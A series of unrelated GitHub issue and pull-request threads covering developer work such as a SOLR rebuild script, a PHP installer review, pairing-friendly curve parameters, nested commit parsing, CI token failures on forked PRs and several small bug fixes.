789 non interactive solr

Add non-interactive SOLR functionality and remove admin from public view. The code requires that the function expect exists on the host it is being run from.

[x] use expect script to automate rebuild_index call from hsctl
[x] use curl over internal container to RELOAD solr index (no public port)
[x] rebuild / RELOAD / rebuild triggered on:

new deploy using ./hsctl rebuild --db
updated deploy using ./hsctl rebuild
loading a new db using ./hsctl loaddb

Can one of the admins verify this patch?

@hyi - This was tested using the www.deploy.sql database so that there were resources to index against.
Has not been synced with the develop branch so the hydroshare-config.yaml/template files will be incorrect until merged.

@hyi - comments updated and merged with develop branch. Should be good to go following the build/test unless you find something I didn't see.

@mjstealey While trying it in my local dev env, somehow I got the error "rebuild-index-solr: /usr/bin/expect: bad interpreter: No such file or directory" at the end of output from "hsctl rebuild --db" Tried a couple of times, got the same error, and solr index is not built, so cannot get search result. Not sure what I am missing, but have not got time to investigate yet. Perhaps we can spend some time on Monday morning next week to get it sorted out.

While trying it in my local dev env, somehow I got the error "rebuild-index-solr: /usr/bin/expect: bad interpreter: No such file or directory"

@hyi - Yes, the function expect is required. Our CentOS VMs all have this by default, however if you're using an ubuntu flavored VM for development you may need to install this. (I mentioned this on hip chat this morning).
$ sudo apt-get install expect

@mjstealey Sorry I missed your comment regarding installing expect, for some reason I thought it was run from the container and had nothing to do with my host software environment, after looking at your newly added rebuild-index-solr script, I realized expect is run from the host. After installing expect in my host, everything works as expected. I am merging it now.


build a "small" installer from scratch

Fixes #360
to access it open install.php in your web browser.
It is not in the public folder to prevent unauthorized users to access it.
Still need to add more safety in it (like disabling it completely if some file is found).

Codecov Report

Merging #361 into master will increase coverage by 0.39%.
The diff coverage is n/a.

Codecov Report

Merging #361 into master will increase coverage by 0.55%.
The diff coverage is n/a.

Still need to add more safety in it (like disabling it completely if some file is found).

Fixed.

So why is install.php not in public? At least in my production Lychee installation, the top-level directory cannot be accessed via a URL and making it accessible strikes me as a dangerous precedent (what would prevent somebody from getting to .env then, which holds privileged information)?

@kamil4 thanks for your Review. I'll fix things. :)

The so-called database creation step doesn't actually create a database?

I made it more clear to the user.

Client-side caching of the gallery redirect in case installed.php already exists. That's actually a major PITA... I was forced to use a separate browser profile with history disabled to be able to do any meaningful testing...

Should be fixed with a http_response_code(307);.

Looks good to me (with a nice UI :))


Make TRXLogger public

Description
In order for other test runners or frameworks to generate TRX reports, it would be useful if the TrxLogger class, it's default constructor and Initialize method were made public and published in a NuGet Package (with .NET Standard support).
I successfully referenced the TRX Logger source code myself and called these two methods, and was able to generate TRX Reports with just these two members.

@dotMorten Are you planning to create PR for creating NuGet package?

@smadala I could, if you can tell me where to start

@dotMorten Nuspec file location is https://github.com/Microsoft/vstest/tree/master/src/package/nuspec .
After build.cmd .\artifacts\Debug\packages location contains nuget packages.


outdated-frontend-aug2021

This initial checkin needs work. Test before deployment.

This is too out of date. Closing.


Implement BLS24-319 Curve

Why? 319-bit prime modulus reduces G1 cost by approx 1.44x vis a vis BLS12-381/377. Constructing curves from Cocks-Pinch method (only known method to generate pairing-friendly curves of prescribed order) doubles the size of the base field, so we want to it to be small to begin with.
Since we assume the leaves of an aggregating proof system have lower proving power, we believe this is an adequate strategy for 1 layer or even 2 layer proof composition.
Future work
Future work includes finding suitable Cocks-Pinch Curves for proof composition with BLS24-319. Hopefully, we can find good curves with log_2 p <= 639 and for 2nd layer, log_2 p <= 1279 with highly efficient pairings. Note that the size of the pairing as an arithmetic circuit is about 2x that of BLS12, so the outer most curve has to be at least 2x more efficient (in terms of machine ops/gas costs etc.).
The BW6-761 curve had a pairing time of about 10ms (albeit for a relatively unoptimised implementation), compared with ~2.5 ms for a curve over a prime with half the number of bits, which is a 4x difference. That being said, a slightly over par 1.5x to 2x improvement (on the basis of a smaller base field) seems within reach.
Nonetheless, as one approaches larger field sizes, the costs saved from using a smaller base field may not make up for larger circuits if optimised algorithms like Karatsuba multiplication is used. So one would be trading proof capacity for G1 e.g. proving performance.
BLS48-286
Further, the BLS48-286 curve should also be considered. According to my estimates, they should be 1.5-2x as slow for verification compared to BLS12, but proving could be much faster (9 words on a 32-bit machine). The real benefits can be seen in the outer layer curve, which could have modulus < 572 bits.
Note that this has a much large arithmetic circuit compared with BLS12 - approximately 2.5-5x. So to reap the benefits, the cost of verifying the outer curve has to be < 2.5-5x that of the BW6-761 curve. Based on the discrepancy of base field, a speedup of 1.5-2x is more likely.
Overall, due to the possibly high complexity of the pairing for BLS48, BLS24 seems like a more promising route for now.
Things to investigate

Exponentiation formulas and explicit number of field ops required for BLS48 pairing

Yeah, it would be useful to have generic infrastructure for such BLS24 curves too.

One issue with these curves of higher embedding degree curves is that G2 arithmetic becomes slower. Some SNARKs, like Groth16 and GM17, rely on G2 arithmetic, so this might not be the best trade-off in all cases.

Btw. a 2020 paper of Housni and Guillevic constructs a Brezing-Weng curve on top of the BLS12-377. This approach does not save much field size (761 instead of sw6's 782), but still worth considering it as an alternative to Cocks-Pinch.

I stumbled across this paper Opcount: A Pseudo-Code Performance Estimation System for Pairing-Based Cryptography where they measured pairing times for BLS24 and BLS48.
I was surprised to see BLS48 being twice faster than BLS24 at the same security level (256-bit) in the figures (estimated figures):

which was confirmed in their actual measures

Database is here with curve parameters (the 128/256 is the security level not the field bitwidth): https://github.com/security-kouza/opcount/tree/master/resources/pdb
Note that BLS24 has a 8-way decomposition on G2 and GT while BLS48 has a 16-way decomposition though at that level of decomposition the gain in scalar bits might be dwarfed by the additions of the linear combination of coefficient (it does make Pippenger very attractive).

Hm, I do not know the signature scheme measured here (it's a socalled structure-preserving one using Groth-Sahai proofs), but the timings for scalar mult. in G1, G2, and GT might be due to the embedding degree: for same security level (hence the same size of embedding fields), BLS48 curves allow a much smaller field size than BLS24.
For example, at 128 bit security, the BLS24-381 mentioned here has a 381 bit base field modulus, whereas the BLS48-286 comes with a 286 bit field. Smaller field size means much more performant G1 scalar mult., same security level is reflected in similar timings for the exp. in GT, but what I did not expect is that the smaller field size overcomes the higher extension degree for G2.

Indeed,

their BLS48 curve is BLS48-581 (https://github.com/security-kouza/opcount/blob/master/resources/pdb/KH17_BLS48_256.pdb#L8-L18) with a 518 bits order.
their BLS24 curve is BLS24-1089 (https://github.com/security-kouza/opcount/blob/master/resources/pdb/KH17_BLS24_256.pdb#L10-L31) with a 872-bit order.

Btw, there's a slight issue with generating BLS24 curves that are doubly two-adic (like BLS12-377): there's only 2^32 possible seeds that fit lead to a scalar field of size <256bits. I enumerated all seeds, and the best doubly-two-adic curve I found had two-adicity of 2^22 and 2^20 on r and q, respectively. This is much too small for applications.
By looking at larger subgroups (2^x * 3^y 5z), I found the following curve:
x is negative: true
x mod 360 = 73
weight(x) = 22
x = -2975367167
q =<PHONE_NUMBER>8166605849461503394057768008988119390110768226476263130571508416807197345793683456001
r =<PHONE_NUMBER>228012302427570697063512528528236733217057581650738834837226782721
log_2(x) = 32
log_2(q) = 314
log_2(r) = 252
r subgroup size = 25.661778097771986
q subgroup size = 28.305634287546713

There are two primary downsides: the awkward subgroup, and the high hamming weight of x, which makes pairings slower. (On the other hand, the shorter size of x results in fewer doubling steps in the miller loop).

@Pratyush: I wouldn't regard mixed FFT domains as downside but rather as a useful feature, in particular for proof systems which rely on polynomial identites over cyclic domains (as Marlin or Plonk, e.g.).
Different factors allow to fit the FFT domain much better to the number of constraints (instead of jumping to the next power of 2) hence reducing the prover's commitment effort (beside that polynomial arithmetics itself becomes increasingly noticeable at domain sizes > 2^23 ).
Inspired by your result I started a Mathematica script to search such mixed domains for a slightly wider set of x (reaching from 2^31 - 2^33). By now the best result is at x=2196504577, yielding a 249 bit group and
r -1 = 2^20 * 3^2 * 7^2,
q - 1 = 2^18 * 3^2 * 7^2,

with 28.78 and 26.78 as their log2, respectively.

I'm not a specialist of finite fields FFT, will look into it later but for FFT on real/complex the most efficient radix are in order: 4, 2, 3, 5: https://github.com/SciNim/impulse/blob/26e25e7/impulse/fft/pocketfft_hdronly.h#L2126-L2133
See also a compilation of my research for real/complex FFT at https://github.com/SciNim/impulse/blob/26e25e7/impulse/fft/README.md
In the long-term, a compiler approach might help optimize FFT kernels just like Halide did over FFTW: https://github.com/halide/Halide/blob/864955e/apps/fft/fft.cpp https://andrew.adams.pub/halide_cacm.pdf


feat: allow nesting multiple commits that are parsed independently

Some automations make compound pull requests that need to contain complex nested commits.
In your commit's body, you can include separate commit messages in between BEGIN_NESTED_COMMIT and END_NESTED_COMMIT. These messages will be extracted and parsed as a separate commit (with the same commit SHA) for the purpose of generating release notes.
Example:
fix: some fix

Some rationale for the fix

BEGIN_NESTED_COMMIT
build: drop node12 support

BREAKING CHANGE: We are dropping node 12 support
END_NESTED_COMMIT
BEGIN_NESTED_COMMIT
fix: another fix

Extended commit message for another fix
END_NESTED_COMMIT

Towards https://github.com/googleapis/repo-automation-bots/issues/3342

With these new keywords, the PR description becomes more machine readable but less human readable.  What other options have you considered?

What other options have you considered?

I also considered just a bunch of dashes which could be turned into a horizontal rule in markdown. It's possible that this causes unintended behavior if someone is using markdown in their pull request bodies (like renovate PRs perhaps)

Another option is to not build this at all and have owlbot build a BEGIN_COMMIT_OVERRIDE/END_COMMIT_OVERRIDE that contains the aggregated release notes. This would put the onus on owlbot to aggregate the commit messages for the release notes.

Does this work with "BEGIN_COMMIT_OVERRIDE"?

Does this work with "BEGIN_COMMIT_OVERRIDE"?

Yes, BEGIN_COMMIT_OVERRIDE would work override the commit message, which would then be split via the BEGIN_NESTED_COMMIT.

With these new keywords, the PR description becomes more machine readable but less human readable. What other options have you considered?

What if we provided a mechanism for people to easily preview what their merged commit message will look like, perhaps a form they could test with prior to clicking merge?
Once you've figured out the format of commit messages, through trial and error, it's pretty easily to cleanup the message when merging -- having a way to verify correctness while learning might help people.

@chingor13 Is this new syntax enabled by a flag, that defaults to false?  Does it only appear for PRs that have multiple commits?

Is this new syntax enabled by a flag, that defaults to false?

This is not implemented as a flag - the format is unlikely to be erroneously used.

Does it only appear for PRs that have multiple commits?

It is parsed for any commit, but likely will only be utilized by owlbot's multi-commit feature.

Note the #1598 is an alternate implementation using markdown <hr/> tags (---) as separators. That implementation is more likely to possibly have unintended commit splitting because --- is more likely to be used.


[Bug Report] Electron failed to install correctly

Plugin failure: obsidian-bundler Error: Electron failed to install correctly, please delete node_modules/electron and try installing again
    at getElectronPath (eval at <anonymous> (app.js:1), <anonymous>:91:11)
    at eval (eval at <anonymous> (app.js:1), <anonymous>:95:16)
    at e.<anonymous> (app.js:1)
    at app.js:1
    at Object.next (app.js:1)
    at s (app.js:1)

My code is :
import { remote } from "electron";
//...
  const result = await remote.dialog.showOpenDialog({
    properties: ["openDirectory"]
  });
// ...

Environment:

Windows 10 2004 19041.630
Obsidian v0.9.15

Your bundler is bundling electron - make it an exclusion and let it compile to require("electron") instead of actually bundling the whole electron package into your file.

Thanks！I edited rollup.config.js and it works.
- external: ['obsidian'],
+ external: ['obsidian', 'electron'],


Add climo years for both cases to output directory name

New feature type
Other (please explain below)
What is this new feature?
When running model vs model ADF, it would be helpful to display the start and end years for both cases in the created directory, especially for the scenarios where they aren't the same. This would also follow the old AMWG diagnostics naming convention:

Assistance required?
No, I will make a PR when the feature is ready
Extra info
No response

This issue has been closed via PRs #148 and #151.   Of course if the problem still exists then feel free to re-open it!


[bug]: invoke.sh fails at random point during python script without reason or error

Is there an existing issue for this?

[X] I have searched the existing issues

OS
macOS
GPU
mps
VRAM
8GB
What happened?
invoke.sh script works ONLY on first install. After that, the script gets killed randomly at different points during the python section. I have tried running it with no other applications open to make sure it isn't running out of RAM, it doesn't have any effect. I am unsure where to find any logs to track down the issue. It works flawlessly on first install but no matter what I try, it will not run again until being completely deleted and reinstalled...
Screenshots
Here is one example of the process being killed for no reason during execution

Additional context
Even if no one has any idea where the problem is, if someone could point me to how I can log verbose or find a traceback or something that would be super appreciated!
Contact Details
No response

Looks like this was due to low disk space available on host machine... Would be good if somehow the script could pass that error out rather than failing silently, but ultimately my fault for this one😂 Thanks for this awesome project devs!


Fix anchor issues

This doesn't actually fix the issue, it just means that user's should be able to add dependencies on Class['apt::update'] or add collectors or somethign without getting dependency cycles. Do you have any brilliant ideas @daenney ?
I was trying to repro with
    include apt
    apt::ppa { 'ppa:webupd8team/java': }

    package { 'oracle-java8-installer':
        responsefile => '/tmp/java.preseed',
        require      => Apt::Ppa['ppa:webupd8team/java']
    }

I think this is doable. It doesn't introduce any weird half-broken anchors to support a use case so I'm okay with this.
The one thing I am confused about, what's the difference between include "apt::update" vs include apt::update? Imho that should be include ::apt::update to force a fully qualified lookup :smile:.

fixed :)

Lets see what happens next :wink:


message_feed: Add channel settings link and remove Subscribe/Unsubscribe buttons.

This PR removes the Subscribe and Unsubscribe buttons from the message feed and adds links to either view channel settings (if not subscribed) or manage channel settings (if subscribed) in the bottom divider.
Fixes: #32125

UI Changes

Before
After

Demo Video
https://github.com/user-attachments/assets/208b55a4-9491-4388-9425-49a7c506232b

Self-review checklist

[x] Self-reviewed the changes for clarity and maintainability
(variable names, code reuse, readability, etc.).

Communicate decisions, questions, and potential concerns.

[x] Explains differences from previous plans (e.g., issue description).
[x] Highlights technical choices and bugs encountered.
[x] Calls out remaining decisions and concerns.
[x] Automated tests verify logic where appropriate.

Individual commits are ready for review (see commit discipline).

[x] Each commit is a coherent idea.
[x] Commit message(s) explain reasoning and motivation for changes.

Completed manual review and testing of the following:

[x] Visual appearance of the changes.
[x] Responsiveness and internationalization.
[x] Strings and tooltips.
[x] End-to-end functionality of buttons, interactions and flows.
[x] Corner cases, error conditions, and easily imagined bugs.

Hey @alya! this PR is ready for review, Please take a look when you have a moment.

@reharsh
See: https://zulip.readthedocs.io/en/latest/contributing/review-process.html#how-to-help-move-the-review-process-forward

@reharsh
See: https://zulip.readthedocs.io/en/latest/contributing/review-process.html#how-to-help-move-the-review-process-forward

Sure, I'll ping Tim for a review, as I believe there’s nothing more on my end to address. Thanks for pointing me to the review process guidelines!

@timabbott, I've made the following updates:

Fixed a bug with sub.is_archived that was mistakenly removed.
Squashed commits that add channels-settings-link and update the relevant test files into one.

Please take a look when you have a chance. Thank you!

@reharsh I can fix it this time, but can you line-wrap your commit messages? They don't look good in git show.
Merged after those changes, thanks @reharsh!


Gnerative Adversarial Networks

Hey DCP participants, good to see you here
This issue will helps readers in giving all the guidance that one needs to learn about Gnerative Adversarial Networks. Tutorial to Gnerative Adversarial Networks and how it's applied using sample code.
"Project Title" should be the "Issue Title" mentioned here.
If you like to work on this issue, follow the given guidelines for code as well as for the README. You have to be as elaborative as possible. Make sure you also maintain the project structure provided. Just comment and get it assigned. Issues are alloted on FCFS basis.
The main intention of this repo is to educate beginners with all the concepts related to datascience so that they could feel confident to apply these things learnt in practical exposure.
Enjoy your open source journey ahead. 😎

Define You:

[ ] DevIncept Participant
[x] Contributor

Is your feature request related to a problem? Please describe.

I would like to contribute Generative Adversarial Networks using the Celeba Dataset

Describe the solution you'd like...
Steps:

Import Dataset and Libraries
Setting Parameters and Hyper-parameters
Config with wandb (optional)
Define Generator Architecture in Generator Class
Define Critic Architecture in Critic Class
Initialize Weights (Optional)
Define function for gradient penalty calculation
Define function for saving and loading checkpoints
A cell for loading previously saved checkpoint
Training Loop with loggin in wandb
Cells to generate new faces

Are you a part of any event or it's a general contribution? @avinash-218

I'm part of Hacktoberfest 2021

Ok, issue assigned to @avinash-218


Implement PoC THORChain long-tail to L1 quotes

Overview
TODO
References and additional details
TODO
Acceptance Criteria
TODO
Need By Date
No response
Screenshots/Mockups
No response
Estimated effort
No response

Related PRs:

https://github.com/shapeshift/web/pull/5638
https://github.com/shapeshift/web/pull/5643

Done for long tail ETH shenanigans to L1


use extractCritical to set css-vars inline

What:
This PR adds css-vars to extractCritical so their initial values may be set inline (when in extract mode). Discussed in #147.

How:
Started with @mitchellhamilton's regex substitute, but needed to account for vars- strings a bit differently. Since the regex was greedy, for a string like
.vars-176qc2r {--css-Home-1wjhkv7-0: 0; --css-Home-1wjhkv7-1: 1}

, the matcher would grab a css- string instead of the desired vars-. We could change our regex to be lazy with something like /(?:css|vars)(?:[a-zA-Z0-9-]*?)-([a-zA-Z0-9]+?)/gm, but that seems brittle. Surely there'll be a time when css- will be shorter than the vars-.
So, this implementation checks for vars- first, then moves on to the normal css- check.

Checklist:

[ ] Documentation
[x] Tests
[ ] Code complete

Codecov Report

Merging #159 into master will decrease coverage by 0.08%.
The diff coverage is 85.71%.

@@            Coverage Diff             @@
##           master     #159      +/-   ##
==========================================
- Coverage   90.14%   90.05%   -0.09%
==========================================
  Files          22       22
  Lines         700      704       +4
  Branches      166      168       +2
==========================================
+ Hits          631      634       +3
  Misses         56       56
- Partials       13       14       +1

Impacted Files
Coverage Δ

src/server.js
94.44% <85.71%> (-5.56%)
:arrow_down:

Continue to review full report at Codecov.

Legend - Click here to learn more
Δ = absolute <relative> (impact), ø = not affected, ? = missing data
Powered by Codecov. Last update e9c820d...30a4864. Read the comment docs.

Happy to! Thanks for pointing me to the correct file.
I'm on vacation until Monday. When I get back, I'll work on it.

Hey, sorry. I haven't forgotten this. Just busy.

We aren't using vars in v7 so further work on this shouldn't be necessary.


doc: Update to GitHub links

Original date: 2019-05-07 15:49:11
Original PR: https://charm.cs.illinois.edu/gerrit/5174

Change-Id: I8ed0d23baf8024989eb28053aa7e45d153055cb0

I changed to $ to maintain consistency with the manual.


Add finish-args-flatpak-spawn-access exception for org.freecad.FreeCAD

see https://github.com/flathub/flathub/pull/5613

@hfiguiere

This is a renaming.

This is a renaming.

I figured freecadweb exception should stay until migration is done

we can remove it when it's archived.


Convey failed maintenance by requestor

This commit adds support for requestors to convey failed
node maintenance.

Add RequestorFailed condition type, to be set by requestors
with reason MaintenanceFailed if maintenance operation failed

Add new condition reason to Ready condition : MaintenanceFailed.
this reason is set by controller if Ready condition is with Ready
reason and RequestorFailed condition is preset with value True.

Failed condition type conveys failure in performing node
maintenance by the requestor.

Pull Request Test Coverage Report for Build<PHONE_NUMBER>0
Details

286 of 383 (74.67%)  changed or added relevant lines in 6 files are covered.
9 unchanged lines in 1 file lost coverage.
Overall coverage increased (+5.1%) to 65.576%

Changes Missing Coverage
Covered Lines
Changed/Added Lines
%

api/v1alpha1/utils.go
12
14
85.71%

cmd/maintenance-manager/main.go
0
2
0.0%

api/v1alpha1/zz_generated.deepcopy.go
1
5
20.0%

internal/drain/manager.go
46
50
92.0%

internal/drain/request.go
147
171
85.96%

internal/controller/nodemaintenance_controller.go
80
141
56.74%

Files with Coverage Reduction
New Missed Lines
%

internal/controller/nodemaintenance_controller.go
9
62.24%

Totals

Change from base Build<PHONE_NUMBER>5:
5.1%

Covered Lines:
1002

Relevant Lines:
1528

💛  - Coveralls

@ykulazhenkov PTAL.
we now have:

new condition of type "RequestorFailed" with a single reason: "MaintenanceFailed"
new condition reason for "Ready" type : "RequestorFailed"

the presence of 1. with state "True" will update "Ready" condition to Reason "RequestorFailed" if previous reason was "Ready"
if 1 is not present or its state is "False" we return to "Ready" condition to Reason "Ready"

@adrianchiris the PR looks good. I added one nit comment that you can ignore


Adopt Catalog API to include references to the TableMetadata and the metadata_location in the TableCommit payload for the update_table method

Iceberg catalogs that make use of a *.metadata.json file to store the table metadata require the metadata_location and the TableMetadata of a Table to perform an update_table operation (see here). It would therefore be helpful to include references to the metadata_location and the TableMetadata in the TableCommit payload of the update_table operation.
Something like:
pub struct TableCommit<'t> {
    /// The table ident.
    pub ident: TableIdent,
    /// Metadata file location of the table
    pub metadata_location: &'t str,
    /// Table metadata
    pub table_metadata: &'t TableMetadata,
    /// The requirements of the table.
    ///
    /// Commit will fail if the requirements are not met.
    pub requirements: Vec<TableRequirement>,
    /// The updates of the table.
    pub updates: Vec<TableUpdate>,
}

It would therefore be helpful to include references to the metadata_location and the TableMetadata in the TableCommit payload of the update_table operation.

Could you please provide further explanation on why we require those in TableCommit? I was under the impression that the catalog should be responsible for maintaining them. For instance, the catalog can locate the metadata_location and metadata of a table using its TableIdent.

A typical usage would look something like the following:

Get Table with load_table operation. (This already fetches the metadata_location and TableMetadata)
Create transaction with the desired operations
Commit transaction with the update_table operation

Generally you are right that the catalog could fetch the metadata_location and the TableMetadata. But in this case the data is already in memory through the load_table operation. It would therefore require 2 redundant network requests (one for metadata_location and one for TableMetadata) that could be avoided. Adding the metadata_location and TableMetadata references to the TableCommit struct just gives the update_table operation access to the information that is already there.
Since metadata_location and TableMetadata are both present in the Table struct, it should simply be possible to pass their references to the CommitTable struct.

But in this case the data is already in memory through the load_table operation.

You're correct. By reusing the metadata_location and TableMetadata, we can eliminate 2 unnecessary network requests in this scenario.
However, I have the following concerns about this change:
First of all, not all catalogs are implemented in memory, which means they cannot benefit from this change. Adding metadata_location and TableMetadata to CommitTable could result in additional costs for every update operation.
Secondly, the Catalog should not rely on client input. Users may inadvertently fill the CommitTable with incorrect metadata location or metadata.
Finally, the location of users' metadata or metadata itself could be outdated. For example, the iceberg table is undergoing concurrent writes and the client's metadata location may have already been changed.
I believe we should exclude metadata_location and TableMetadata from CommitTable. Instead, let's rely on the Catalog to maintain the state accurately, which will also enhance the usability of our catalog API.
What are your thoughts?

But in this case the data is already in memory through the load_table operation.

You're correct. By reusing the metadata_location and TableMetadata, we can eliminate 2 unnecessary network requests in this scenario.
However, I have the following concerns about this change:
First of all, not all catalogs are implemented in memory, which means they cannot benefit from this change. Adding metadata_location and TableMetadata to CommitTable could result in additional costs for every update operation.
Secondly, the Catalog should not rely on client input. Users may inadvertently fill the CommitTable with incorrect metadata location or metadata.
Finally, the location of users' metadata or metadata itself could be outdated. For example, the iceberg table is undergoing concurrent writes and the client's metadata location may have already been changed.
I believe we should exclude metadata_location and TableMetadata from CommitTable. Instead, let's rely on the Catalog to maintain the state accurately, which will also enhance the usability of our catalog API.
What are your thoughts?

+1, I think catalog should depends on client input for correctness since we may do concurrent modification to table.


Using git hub flow for development here

I should have opened an issue to discuss before I pushed out the changes...
But I have initialized the repository to use Git Hubflow.  What this means that the default branch is "develop" and the "master" branch is protected.
This describes the development process:
https://datasift.github.io/gitflow/IntroducingGitFlow.html
I am working on Java and Python samples for testing primitive operators.  I will do the work on feature branch before I merge to the "develop" branch.
Please let me know if you have any concern?

Sure; I can use the development branch.
From:   Samantha Chan<EMAIL_ADDRESS>To:     "IBMStreams/streamsx.testing"
<EMAIL_ADDRESS>Cc:     Subscribed<EMAIL_ADDRESS>Date:   09/27/2017 12:10 AM
Subject:        [IBMStreams/streamsx.testing] Using git hub flow for
development here (#4)
I should have opened an issue to discuss before I pushed out the
changes...
But I have initialized the repository to use Git Hubflow. What this means
that the default branch is "develop" and the "master" branch is protected.
This describes the development process:
https://datasift.github.io/gitflow/IntroducingGitFlow.html
I am working on Java and Python samples for testing primitive operators. I
will do the work on feature branch before I merge to the "develop" branch.
Please let me know if you have any concern?
?
You are receiving this because you are subscribed to this thread.
Reply to this email directly, view it on GitHub, or mute the thread.

Should we clean up the master branch now?

Yes please!  I think we also need to think about how to organize this repository.  As this is not a regular toolkit repository.

There might be a toolkit at com.ibm.streamsx.testing containing useful functionality, e.g. operators that generate a known sequence of tuples for testing.
Apart from that we may want to see what artifacts get generated in feature branches before trying to figure out a layout.

Yep agreed!


no selects on android

can view graphs if we have a URL, but can't select anything so can't create a viewable graph or get to a viewable graph
this is low priority, I can survive without mobile and URLs that have been set up are viewable

I can't imagine that the thing is mobile friendly at all tbh. There's been zero effort for that.

I was able to enter data and see graphs in both Firefox and Chrome on Android by choosing the "Show Desktop Site" option. I'm not really inclined to make this very mobile friendly, so closing for now. Reopen if you think it's important again.


idea: Scenario Outline with an array of Strings as Example

Right now, we can use an array like this one in Example :
[
{ "name": "Bob" },
{ "name": "Wild" },
{ "name": "Nyan" },
{ "name": "Keyboard" },
{ "name": "LOL" },
{ "name": "Ceiling" }
]

And then call <name> in the Scenario Outline
I suggest to create a keyword, which would allow to use an array of Strings, instead of having to convert this :
[
"Bob",
"Wild",
"Nyan",
"Keyboard",
"LOL",
"Ceiling"
]

If the variable is __arg, we could directly use <__arg> in the Scenario Outline

somewhat related to #717 where I think the __arg concept will apply also - which will return the JSON representation of the current "example row" being processed. and __loop should work as well

It seems the proposal to use __arg will break users who have Scenario Outlines in a called feature.
Advanced things like this are dumped into the JS API - a strategy that has worked great so far - and maybe this is what we should do:
* def list = [ 'Bob', 'Wild', 'Nyan' ]
* def data = karate.mapWithKey(list, 'name')
* match data == [{ name: 'Bob' }, { name: 'Wild' }, { name: 'Nyan' }]

Hopefully this is a reasonable compromise to solve for the somewhat common case of transforming a JSON array of primitives into a array of objects in the form that Karate expects for data-driven tests.

going with karate.mapWithKey() and is implemented / fixed

Thank you, this works.

released 0.9.3


(IGNORE) (MINOR) Update build infrastructure for new repo

Changes in This Pull Request
Now that c2patool is in its own repo, adjust the build process accordingly.
Checklist

[x] This PR represents a single feature, fix, or change.
[x] All applicable changes have been documented.
[x] Any TO DO items (or similar) have been entered as GitHub issues and the link to that issue has been included in a comment.

Codecov Report

:exclamation: No coverage uploaded for pull request base (main@718781f). Click here to learn what that means.
The diff coverage is n/a.

@@           Coverage Diff           @@
##             main       #2   +/-   ##
=======================================
  Coverage        ?   63.40%
=======================================
  Files           ?        3
  Lines           ?      235
  Branches        ?        0
=======================================
  Hits            ?      149
  Misses          ?       86
  Partials        ?        0

Continue to review full report at Codecov.

Legend - Click here to learn more
Δ = absolute <relative> (impact), ø = not affected, ? = missing data
Powered by Codecov. Last update 718781f...e8abe77. Read the comment docs.

Now that c2patool is in its own repo, adjust the build process accordingly.


[Feature Request] A process to generate an API key for client during registration

Is your feature request related to a problem? Please describe.
I am trying to use the client API. However, I can't generate an API key for every client. By default, the API key is set to null, so when I request the API, it says that the Client is not authenticated.
Describe the solution you'd like
I require a way to generate an API key for every user when they register.  Hence, I can access the client login and use the API to retrieve the orders placed and invoices for each customer instead of iterating through all my orders like in the Admin API.
Describe alternatives you've considered
The Admin API also works to retrieve data about clients, but it involves so much unnecessary data that the application under development starts to become slow. It's functioning, but accessing it through the client API would be much more convenient.

How are you creating the clients?
Through the GUI or through the API?

I am creating the clients through API.


Coordinate Conversion: UTM output is configured for DD output

Widget
Coordinate Conversion
Version of widget
13 Jan 2017 10:31
Bug or Enhancement

When I configured the web app I selected UTM as one of the outputs, however in the web app the UTM output control is configured for DD

When the Coordinate Conversion widget is opened the UTM output doesn't contain a value:

There is no formating character for UTM (latitude band) after the Z:

Instead of using "UTM (Z)" to indicate the use of latitude band, think it would make more sense to use "UTM (B)". Then use B in the formating dialog as the character for latitude band.

Repo Steps or Enhancement details

@nfeuerstein I shouldn't have created a new issue for this. This should actually be put in as comments to the #718. I will close this one.


Image push is failing

Summary
When running actions on a PR, the image push step is failing with a 403.  Example
Steps to reproduce
Create a PR on a remote branch and notice that the image push step will fail, and the checks in the PR will fail.

This looks to be a Github Token permissions thing, but I don't have access to the settings on this repo to confirm that.
https://github.com/OpenSLO/oslo/blob/main/.github/workflows/build_containers.yml#L52-L57 and https://github.com/OpenSLO/oslo/blob/main/.github/workflows/build_containers.yml#L68-L77 are the related lines of code.
Searching through the history of the action, it looks like https://github.com/docker/build-push-action/issues/463#issuecomment-1125443655 may hold the solution?

This seems to be mostly working now, with only occasional failures.  Closing for now, but lets keep an eye on it

Just verified it's still broken, at least for my PRs -> https://github.com/OpenSLO/oslo/runs/6888000106?check_suite_focus=true
Is it an issue with who has created the PR?

@kenfinnigan it shouldn't be - if this is setup in the same way I've done it in the past it uses a dedicated token that's generated specifically for each run.
I've requested that the job is re-run with debug logging enabled: https://github.com/OpenSLO/oslo/runs/6894358281?check_suite_focus=true

I've just checked and a dependabot PR was pushed successfully after merge, @kenfinnigan - can you ensure you've rebased and then push your changes again to see if this is still an issue?

@proffalken I've just rebased and force pushed, lets see what happens

I see this failed again.
I'm not too sure why it's doing this, as previous changes have built/merged fine:

It's also one of those things that is really hard to test as you can only test the permissions thing within Github actions.
@ian-bartholomew - can you check and see if there are any permissions differences for @kenfinnigan vs others who have had successful builds please, just in case it's something along those lines causing this?

OK, I think I may know what's causing this.
The branch that we're trying to build on is for @kenfinnigan's fork of the repo, not the core, so the images are probably being pushed to Ken's repo as well instead of here.
The code for the ones that has run successfully is in the main repo, not a fork>
@kenfinnigan can you try cloning the main repo and porting your work onto a branch from openslo/oslo so we can test this theory?

Now that you say that, the message makes sense.
I can create a PR from branch in main repo as a test, but we should definitely fix it for wider community adoption to use forks

@proffalken Looks like that did the trick. Updated the PR and CI now passed! Cheers!

Huzzah!


TEMPORARY: log where do we push and using what token

This patch IS TO BE REVERTED SOON. It should only provide more debugging
into our staging environment while we figure out some very strange auth
issues.

coverage: 38.945% (+0.05%) from 38.896%
when pulling 447cbfed032289076173bd02058aa83564425078 on jhrozek:debug
into 01c8255b060b69b8b8c841fab7b15ab5f51da752 on stacklok:main.

right now the tests are working so I'm going to close this PR so that it doesn't get merged by accident.


fix: MD012/no-multiple-blanks

Multiple consecutive blank lines

@nschonni  would you mind batching these up?

@Rick-Anderson i'll try, but right now there isn't a clean run for Markdownlint so I'm just suppressing the failing rules and endabling them one at a time to try and get to the point where it should be easy to batch up small reveresals


Allow constructor calls for side effects with no-unused-expression, move checking to new "no-new" rule (#347)

Fixes #347
I have assumed no-new should be in the default config files only because it replaces part of a rule which they were using before

This looks good @bencoveney! I know the no-new name came from ESLint, but I'm not a big fan because it sounds like it disallows using new entirely. no-unused-new seems like a better name to me. What do you think?
cc @adidahiya

agreed @JKillian; I would even go further and call it no-unused-new-expression but no-unused-new is fine too

Thanks for the help so far. This should address the comments.

Thanks @bencoveney!


fix ion spinner styling

Short Description and Why It's Useful
already typed this 3 times and it disappeared. Not typing again

don't merge this yet

